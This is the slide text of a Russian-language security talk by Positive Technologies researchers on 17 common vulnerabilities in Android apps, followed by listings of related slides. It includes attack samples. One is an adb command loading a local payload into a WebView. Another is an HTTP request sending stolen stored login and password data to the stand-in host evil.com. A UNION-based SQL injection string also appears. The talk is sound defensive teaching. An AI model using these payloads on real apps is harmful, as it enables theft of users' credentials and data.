SlideShare a Scribd company logo
1 of 45
Download to read offline
Заголовок
ptsecurity.com
Уязвимое Android-
приложение:
N проверенных способов
наступить на грабли
Специалисты отдела
исследований безопасности
мобильных приложений
Positive Technologies
Анисеня Николай, Тошин Сергей
N = 17;
Заголовок
ptsecurity.com
Уязвимое Android-
приложение:
17 проверенных способов
наступить на грабли
Специалисты отдела
исследований безопасности
мобильных приложений
Positive Technologies
Анисеня Николай, Тошин Сергей
Заголовок
АНИСЕНЯ НИКОЛАЙ
• специалист отдела исследований
безопасности мобильных приложений
Positive Technologies;
• аспирант Томского Государственного
Университета;
• участник CTF-комады SiBears.
whoami
ТОШИН СЕРГЕЙ
• специалист отдела исследований
безопасности мобильных приложений
Positive Technologies;
• разработчик анализатора исходных кодов
Android-приложений;
• участник программ bugbounty.
ЗаголовокМодели нарушителя
Удаленный нарушитель
• На сервере
• На другом клиенте
• В канале связи
Локальный нарушитель
• Трояны
• Приложения с закладками
Нарушитель с физическим доступом к
устройству
• Кража или утеря
• Кратковременный доступ
ЗаголовокВерсии Android на устройствах пользователей
Ice Cream Sandwich 15
2%
Jelly Bean 16
8%
Jelly Bean 17
11%
Jelly Bean 18
3%
KitKat 19
34%
Lollipop 21
17%
Lollipop 22
20%
Marshmallow 23
5%
% от общего числа устройств на Android
ЗаголовокПроверенные способы
ЗаголовокСпособ 1: хранение логинов и паролей в открытом виде
/data/data/<app_name>/shared_prefs/AppName.xml
ЗаголовокСпособ 2: ключи шифрования в коде
ЗаголовокСпособ 2: ключи шифрования в коде
ЗаголовокСпособ 3: ключ из короткого пин-кода
ЗаголовокСпособ 3: ключ из короткого пин-кода
ЗаголовокСпособ 3: ключ из короткого пин-кода
ЗаголовокСпособ 4: http-запросы открытым текстом
ЗаголовокСпособ 5: отключенная проверка сертификатов
ЗаголовокСпособ 6: некорректный Certificate Pinning или его отсутствие
Pinning in HttpClient
No pinning in WebView
ЗаголовокСпособ 6: некорректный Certificate Pinning или его отсутствие
ЗаголовокСпособ 7: отравление кэша WebView
ЗаголовокСпособ 8: доступ к файловой системе через WebView
ЗаголовокСпособ 8: доступ к файловой системе через WebView
$ adb shell am start -d
"file:///sdcard/payload.html"
nanisenya.
app_android/.MainActivity
ЗаголовокСпособ 8: доступ к файловой системе через WebView
/sdcard/payload.html
ЗаголовокСпособ 8: доступ к файловой системе через WebView
GET /%3C?xml%20version='1.0'%20encoding='utf-
8'%20standalone='yes'%20?%3E%0A%3Cmap%3E%0A%3C
string%20name=%22LOGIN%22%3Ealice%3C/string%3E
%0A%3Cstring%20name=%22PASSWORD%22%3Eqwerty123
%3C/string%3E%0A%3C/map%3E%0A HTTP/1.1
Host: evil.com
Origin: file://
X-Requested-With: nanisenya.app_android
...
Connection: close
ЗаголовокСпособ 9: Client-side SQL-injection
String query =
"SELECT * FROM messages WHERE msg LIKE '%" + q + "%'";
Cursor c = MainActivity.this.db.rawQuery(query);
sqlite> .tables
android_metadata
messages
private_messages
ЗаголовокСпособ 9: Client-side SQL-injection
SELECT * FROM messages WHERE msg LIKE ' UNION SELECT *
from private_messages -- %'";
q = "' UNION SELECT * from
private_messages -- "
ЗаголовокСпособ 10: забываем убрать allowBackup и debuggable
AndroidManifest.xml
ЗаголовокСпособ 10: забываем убрать allowBackup и debuggable
$ adb backup -all
android:allowBackup=“true”
ЗаголовокСпособ 10: забываем убрать allowBackup и debuggable
android:debuggable=“true”
ЗаголовокСпособ 11: экспортированные компоненты
adb shell am broadcast
–d com.example.myapplication/.MyReceiver
ЗаголовокСпособ 11: экспортированные компоненты
android:exported=“false”
ЗаголовокСпособ 12: отправка широковещательных сообщений
ЗаголовокСпособ 12: отправка широковещательных сообщений
Register receiver
Send broadcast intent
ЗаголовокСпособ 13: не проверяем action в коде Broadcast Receiver
ЗаголовокСпособ 13: не проверяем action в коде Broadcast Receiver
ЗаголовокСпособ 13: не проверяем action в коде Broadcast Receiver
ЗаголовокСпособ 14: отсутствие фильтрации во входящем intent
ЗаголовокСпособ 15: вложенные intent
Dispatcher
Activity
exported=
“true”
Settings
Activity
exported=
“false”
Payment
Activity
exported=
“false”
Internal
Activity
exported=
“false”
Входящий Intent Перенаправленный Intent
ЗаголовокСпособ 15: вложенные intent
ЗаголовокСпособ 16: произвольные объекты в intent
public void onCreate(Bundle arg3) {
super.onCreate(arg3);
this.setContentView(this.o_());
this.b(true);
this.setTitle(null);
this.o();
this.p();
this.b = this.getIntent()
.getParcelableExtra("PAGE_INFO");
if(arg3 == null && this.b != null) {
this.a(this.b);
}
}
ЗаголовокСпособ 16: произвольные объекты в intent
public static final class PageInfo
implements Parcelable {
public String startPageUrl;
public byte[] startPagePostData;
public String cookies;
public String successUri;
public String failUri;
…
}
ЗаголовокСпособ 17: Fragment Injection
ЗаголовокСпособ 17: Fragment Injection
ЗаголовокСпособ 17: Fragment Injection
ЗаголовокСпособ 17: Fragment Injection
ЗаголовокСпособ 17: Fragment Injection
Уязвимость сохраняется, если
- Android < KitKat
- TargetSDK < KitKat (import android.support.v4.app.Fragment;)
- Используются сторонние библиотеки (например, для корректной работы
интерфейса на разных версиях Android), переопределяющие поведение
фрагментов
Защита
- TargetSDK >= KitKat
- Использовать isValidFragment
Заголовок
ptsecurity.com
Спасибо!
Спасибо!

More Related Content

What's hot

Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке СиPositive Hack Days
 
Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для ApproofPositive Hack Days
 
Пост-эксплуатация веб-приложений в тестах на проникновение
Пост-эксплуатация веб-приложений в тестах на проникновениеПост-эксплуатация веб-приложений в тестах на проникновение
Пост-эксплуатация веб-приложений в тестах на проникновениеbeched
 
Vladimir Obrizan "Ecosystem for reliable Python programming"
Vladimir Obrizan "Ecosystem for reliable Python programming"Vladimir Obrizan "Ecosystem for reliable Python programming"
Vladimir Obrizan "Ecosystem for reliable Python programming"Fwdays
 
Воркшоп по анализ защищённости веб-приложений
Воркшоп по анализ защищённости веб-приложенийВоркшоп по анализ защищённости веб-приложений
Воркшоп по анализ защищённости веб-приложенийbeched
 
Алгоритмы пентестов. BaltCTF 2012
Алгоритмы пентестов. BaltCTF 2012Алгоритмы пентестов. BaltCTF 2012
Алгоритмы пентестов. BaltCTF 2012beched
 
Что общего у CTF и тестов на проникновение?
Что общего у CTF и тестов на проникновение?Что общего у CTF и тестов на проникновение?
Что общего у CTF и тестов на проникновение?beched
 
очир абушинов
очир абушиновочир абушинов
очир абушиновAlexei Lupan
 
Waf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptWaf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptPositive Hack Days
 
Практическое применение принципа инверсии зависимостей на примере Ruby
Практическое применение принципа инверсии зависимостей на примере RubyПрактическое применение принципа инверсии зависимостей на примере Ruby
Практическое применение принципа инверсии зависимостей на примере RubyProvectus
 
Тестирование безопасности: PHP инъекция
Тестирование безопасности: PHP инъекцияТестирование безопасности: PHP инъекция
Тестирование безопасности: PHP инъекцияSQALab
 
Владимир Кочетков "OWASP TOP 10 для.NET"
Владимир Кочетков  "OWASP TOP 10 для.NET"Владимир Кочетков  "OWASP TOP 10 для.NET"
Владимир Кочетков "OWASP TOP 10 для.NET"MskDotNet Community
 
Подходы к сигнатурному статическому анализу
Подходы к сигнатурному статическому анализуПодходы к сигнатурному статическому анализу
Подходы к сигнатурному статическому анализуPositive Development User Group
 
Дмитрий Евдокимов
Дмитрий ЕвдокимовДмитрий Евдокимов
Дмитрий ЕвдокимовCodeFest
 
Как не подавиться большим старым проектом. Юрий Минаев ➠ CoreHard Autumn 2019
Как не подавиться большим старым проектом. Юрий Минаев ➠  CoreHard Autumn 2019Как не подавиться большим старым проектом. Юрий Минаев ➠  CoreHard Autumn 2019
Как не подавиться большим старым проектом. Юрий Минаев ➠ CoreHard Autumn 2019corehard_by
 
Технологии анализа бинарного кода приложений: требования, проблемы, инструменты
Технологии анализа бинарного кода приложений: требования, проблемы, инструментыТехнологии анализа бинарного кода приложений: требования, проблемы, инструменты
Технологии анализа бинарного кода приложений: требования, проблемы, инструментыPositive Development User Group
 
[DagCTF 2015] Hacking motivation
[DagCTF 2015] Hacking motivation[DagCTF 2015] Hacking motivation
[DagCTF 2015] Hacking motivationbeched
 
Полный цикл разработки на Python + Django
Полный цикл разработки на Python + DjangoПолный цикл разработки на Python + Django
Полный цикл разработки на Python + DjangoAzamat Tokhtaev
 

What's hot (19)

Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке Си
 
Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для Approof
 
Пост-эксплуатация веб-приложений в тестах на проникновение
Пост-эксплуатация веб-приложений в тестах на проникновениеПост-эксплуатация веб-приложений в тестах на проникновение
Пост-эксплуатация веб-приложений в тестах на проникновение
 
Vladimir Obrizan "Ecosystem for reliable Python programming"
Vladimir Obrizan "Ecosystem for reliable Python programming"Vladimir Obrizan "Ecosystem for reliable Python programming"
Vladimir Obrizan "Ecosystem for reliable Python programming"
 
Воркшоп по анализ защищённости веб-приложений
Воркшоп по анализ защищённости веб-приложенийВоркшоп по анализ защищённости веб-приложений
Воркшоп по анализ защищённости веб-приложений
 
Алгоритмы пентестов. BaltCTF 2012
Алгоритмы пентестов. BaltCTF 2012Алгоритмы пентестов. BaltCTF 2012
Алгоритмы пентестов. BaltCTF 2012
 
Что общего у CTF и тестов на проникновение?
Что общего у CTF и тестов на проникновение?Что общего у CTF и тестов на проникновение?
Что общего у CTF и тестов на проникновение?
 
очир абушинов
очир абушиновочир абушинов
очир абушинов
 
Waf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptWaf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScript
 
Практическое применение принципа инверсии зависимостей на примере Ruby
Практическое применение принципа инверсии зависимостей на примере RubyПрактическое применение принципа инверсии зависимостей на примере Ruby
Практическое применение принципа инверсии зависимостей на примере Ruby
 
Тестирование безопасности: PHP инъекция
Тестирование безопасности: PHP инъекцияТестирование безопасности: PHP инъекция
Тестирование безопасности: PHP инъекция
 
Кто сказал «WAF»?
Кто сказал «WAF»?Кто сказал «WAF»?
Кто сказал «WAF»?
 
Владимир Кочетков "OWASP TOP 10 для.NET"
Владимир Кочетков  "OWASP TOP 10 для.NET"Владимир Кочетков  "OWASP TOP 10 для.NET"
Владимир Кочетков "OWASP TOP 10 для.NET"
 
Подходы к сигнатурному статическому анализу
Подходы к сигнатурному статическому анализуПодходы к сигнатурному статическому анализу
Подходы к сигнатурному статическому анализу
 
Дмитрий Евдокимов
Дмитрий ЕвдокимовДмитрий Евдокимов
Дмитрий Евдокимов
 
Как не подавиться большим старым проектом. Юрий Минаев ➠ CoreHard Autumn 2019
Как не подавиться большим старым проектом. Юрий Минаев ➠  CoreHard Autumn 2019Как не подавиться большим старым проектом. Юрий Минаев ➠  CoreHard Autumn 2019
Как не подавиться большим старым проектом. Юрий Минаев ➠ CoreHard Autumn 2019
 
Технологии анализа бинарного кода приложений: требования, проблемы, инструменты
Технологии анализа бинарного кода приложений: требования, проблемы, инструментыТехнологии анализа бинарного кода приложений: требования, проблемы, инструменты
Технологии анализа бинарного кода приложений: требования, проблемы, инструменты
 
[DagCTF 2015] Hacking motivation
[DagCTF 2015] Hacking motivation[DagCTF 2015] Hacking motivation
[DagCTF 2015] Hacking motivation
 
Полный цикл разработки на Python + Django
Полный цикл разработки на Python + DjangoПолный цикл разработки на Python + Django
Полный цикл разработки на Python + Django
 

Similar to Уязвимое Android-приложение: N проверенных способов наступить на грабли

Android M: опыт личного знакомства
Android M: опыт личного знакомстваAndroid M: опыт личного знакомства
Android M: опыт личного знакомстваRambler Android
 
Android: Как создать свое первое приложение?
Android: Как создать свое первое приложение?Android: Как создать свое первое приложение?
Android: Как создать свое первое приложение?Kuban Dzhakipov
 
Что нового в Android M Developer Preview 1
Что нового в Android M Developer Preview 1Что нового в Android M Developer Preview 1
Что нового в Android M Developer Preview 1Kirill Danilov
 
Практика использования Dependency Injection
Практика использования Dependency InjectionПрактика использования Dependency Injection
Практика использования Dependency InjectionPlatonov Sergey
 
Risspa domxss
Risspa domxssRisspa domxss
Risspa domxssyaevents
 
Спроси эксперта. 2 сезон 2 серия. Тестирование приложений на уязвимости. Прак...
Спроси эксперта. 2 сезон 2 серия. Тестирование приложений на уязвимости. Прак...Спроси эксперта. 2 сезон 2 серия. Тестирование приложений на уязвимости. Прак...
Спроси эксперта. 2 сезон 2 серия. Тестирование приложений на уязвимости. Прак...Solar Security
 
Safety and Security of Web-applications (Document)
Safety and Security of Web-applications (Document)Safety and Security of Web-applications (Document)
Safety and Security of Web-applications (Document)MrCoffee94
 
Mythbusters - Web Application Security
Mythbusters - Web Application SecurityMythbusters - Web Application Security
Mythbusters - Web Application SecurityMikhail Shcherbakov
 
Ловля сетями. Инструменты отладки сетевых запросов приложений / Дмитрий Рыбак...
Ловля сетями. Инструменты отладки сетевых запросов приложений / Дмитрий Рыбак...Ловля сетями. Инструменты отладки сетевых запросов приложений / Дмитрий Рыбак...
Ловля сетями. Инструменты отладки сетевых запросов приложений / Дмитрий Рыбак...Ontico
 
Юрий Леонычев «Безопасность мобильных приложений для Android. Теория и практика»
Юрий Леонычев «Безопасность мобильных приложений для Android. Теория и практика»Юрий Леонычев «Безопасность мобильных приложений для Android. Теория и практика»
Юрий Леонычев «Безопасность мобильных приложений для Android. Теория и практика»Yandex
 
CodeFest 2012. Сошников Д. — Разработка мобильных приложений на платформе Mic...
CodeFest 2012. Сошников Д. — Разработка мобильных приложений на платформе Mic...CodeFest 2012. Сошников Д. — Разработка мобильных приложений на платформе Mic...
CodeFest 2012. Сошников Д. — Разработка мобильных приложений на платформе Mic...CodeFest
 
5 oleg nikiforov - automating routine tasks for mobile apps testing
5   oleg nikiforov - automating routine tasks for mobile apps testing5   oleg nikiforov - automating routine tasks for mobile apps testing
5 oleg nikiforov - automating routine tasks for mobile apps testingIevgenii Katsan
 
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условияхАнализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условияхDmitry Evteev
 
Что нового в Android M?
Что нового в Android M?Что нового в Android M?
Что нового в Android M?HackDay_Russia
 
Опыт разработки мобильных приложений в Applifto
Опыт разработки мобильных приложений в AppliftoОпыт разработки мобильных приложений в Applifto
Опыт разработки мобильных приложений в AppliftoAnatoly Sharifulin
 
Где прячутся мобильные вирусы — Григорий Земсков
Где прячутся мобильные вирусы — Григорий ЗемсковГде прячутся мобильные вирусы — Григорий Земсков
Где прячутся мобильные вирусы — Григорий ЗемсковYandex
 
Android.глазами хакера
Android.глазами хакераAndroid.глазами хакера
Android.глазами хакераNeuron Hackspace
 

Similar to Уязвимое Android-приложение: N проверенных способов наступить на грабли (20)

Android M: опыт личного знакомства
Android M: опыт личного знакомстваAndroid M: опыт личного знакомства
Android M: опыт личного знакомства
 
Лекция Android
Лекция AndroidЛекция Android
Лекция Android
 
Android: Как создать свое первое приложение?
Android: Как создать свое первое приложение?Android: Как создать свое первое приложение?
Android: Как создать свое первое приложение?
 
Что нового в Android M Developer Preview 1
Что нового в Android M Developer Preview 1Что нового в Android M Developer Preview 1
Что нового в Android M Developer Preview 1
 
Практика использования Dependency Injection
Практика использования Dependency InjectionПрактика использования Dependency Injection
Практика использования Dependency Injection
 
Risspa domxss
Risspa domxssRisspa domxss
Risspa domxss
 
Спроси эксперта. 2 сезон 2 серия. Тестирование приложений на уязвимости. Прак...
Спроси эксперта. 2 сезон 2 серия. Тестирование приложений на уязвимости. Прак...Спроси эксперта. 2 сезон 2 серия. Тестирование приложений на уязвимости. Прак...
Спроси эксперта. 2 сезон 2 серия. Тестирование приложений на уязвимости. Прак...
 
Safety and Security of Web-applications (Document)
Safety and Security of Web-applications (Document)Safety and Security of Web-applications (Document)
Safety and Security of Web-applications (Document)
 
12 причин хорошего SOC
12 причин хорошего SOC12 причин хорошего SOC
12 причин хорошего SOC
 
Mythbusters - Web Application Security
Mythbusters - Web Application SecurityMythbusters - Web Application Security
Mythbusters - Web Application Security
 
Ловля сетями. Инструменты отладки сетевых запросов приложений / Дмитрий Рыбак...
Ловля сетями. Инструменты отладки сетевых запросов приложений / Дмитрий Рыбак...Ловля сетями. Инструменты отладки сетевых запросов приложений / Дмитрий Рыбак...
Ловля сетями. Инструменты отладки сетевых запросов приложений / Дмитрий Рыбак...
 
Юрий Леонычев «Безопасность мобильных приложений для Android. Теория и практика»
Юрий Леонычев «Безопасность мобильных приложений для Android. Теория и практика»Юрий Леонычев «Безопасность мобильных приложений для Android. Теория и практика»
Юрий Леонычев «Безопасность мобильных приложений для Android. Теория и практика»
 
CodeFest 2012. Сошников Д. — Разработка мобильных приложений на платформе Mic...
CodeFest 2012. Сошников Д. — Разработка мобильных приложений на платформе Mic...CodeFest 2012. Сошников Д. — Разработка мобильных приложений на платформе Mic...
CodeFest 2012. Сошников Д. — Разработка мобильных приложений на платформе Mic...
 
5 oleg nikiforov - automating routine tasks for mobile apps testing
5   oleg nikiforov - automating routine tasks for mobile apps testing5   oleg nikiforov - automating routine tasks for mobile apps testing
5 oleg nikiforov - automating routine tasks for mobile apps testing
 
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условияхАнализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
 
Что нового в Android M?
Что нового в Android M?Что нового в Android M?
Что нового в Android M?
 
Этичный хакинг
Этичный хакингЭтичный хакинг
Этичный хакинг
 
Опыт разработки мобильных приложений в Applifto
Опыт разработки мобильных приложений в AppliftoОпыт разработки мобильных приложений в Applifto
Опыт разработки мобильных приложений в Applifto
 
Где прячутся мобильные вирусы — Григорий Земсков
Где прячутся мобильные вирусы — Григорий ЗемсковГде прячутся мобильные вирусы — Григорий Земсков
Где прячутся мобильные вирусы — Григорий Земсков
 
Android.глазами хакера
Android.глазами хакераAndroid.глазами хакера
Android.глазами хакера
 

Уязвимое Android-приложение: N проверенных способов наступить на грабли